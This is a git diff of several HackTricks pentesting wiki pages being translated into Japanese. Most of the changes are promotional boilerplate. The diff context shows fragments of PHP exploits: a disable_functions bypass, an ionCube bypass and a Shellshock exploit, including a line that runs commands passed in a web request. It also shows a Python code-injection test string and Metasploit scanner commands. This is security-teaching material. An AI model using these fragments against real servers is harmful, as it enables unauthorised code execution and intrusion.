Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# via mem
# メモを介して
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から
```php
<?php
/*
@ -142,16 +143,17 @@ exit;
}
echo "[-] Write failed. Exiting\n";
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
# PHP 5.2.4 ionCube extension Exploit
# PHP 5.2.4 ionCube拡張のエクスプロイト
```php
<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
@ -51,16 +52,17 @@ echo "<br><br>ionCube output:<br><br>";
echo $MyBoot_ioncube;
?>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループに参加**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.x Shellshock Exploit
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から
```php
<?php
@ -40,16 +41,17 @@ else return "No output, or not vuln.";
echo shellshock($_REQUEST["cmd"]);
?>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Python
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローしてください**.**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## Pythonを使用したサーバー
関数 _str()_ を使用して、可能な **コード実行** をテストします:
可能な**コード実行**をテストするには、_str()_関数を使用します
```python
"+str(True)+" #If the string True is printed, then it is vulnerable
```
### テクニック
### Tricks
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -34,16 +35,17 @@ HackTricks をサポートする他の方法:
[deserialization](../../pentesting-web/deserialization/)
{% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,35 +1,37 @@
# Symfony
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
以下の投稿をご覧ください:
以下の投稿を見てください:
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
* [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -26,25 +27,24 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
```markdown
もし有効な資格情報を見つけた場合、より多くのMetasploitスキャナーモジュールを使用して情報を取得できます。
有効な認証情報が見つかった場合、より多くのmetasploitスキャナーモジュールを使用して情報を取得できます。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
</details>
```
{% endhint %}

View file

@ -1,22 +1,23 @@
# BrowExt - XSS Example
# BrowExt - XSSの例
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
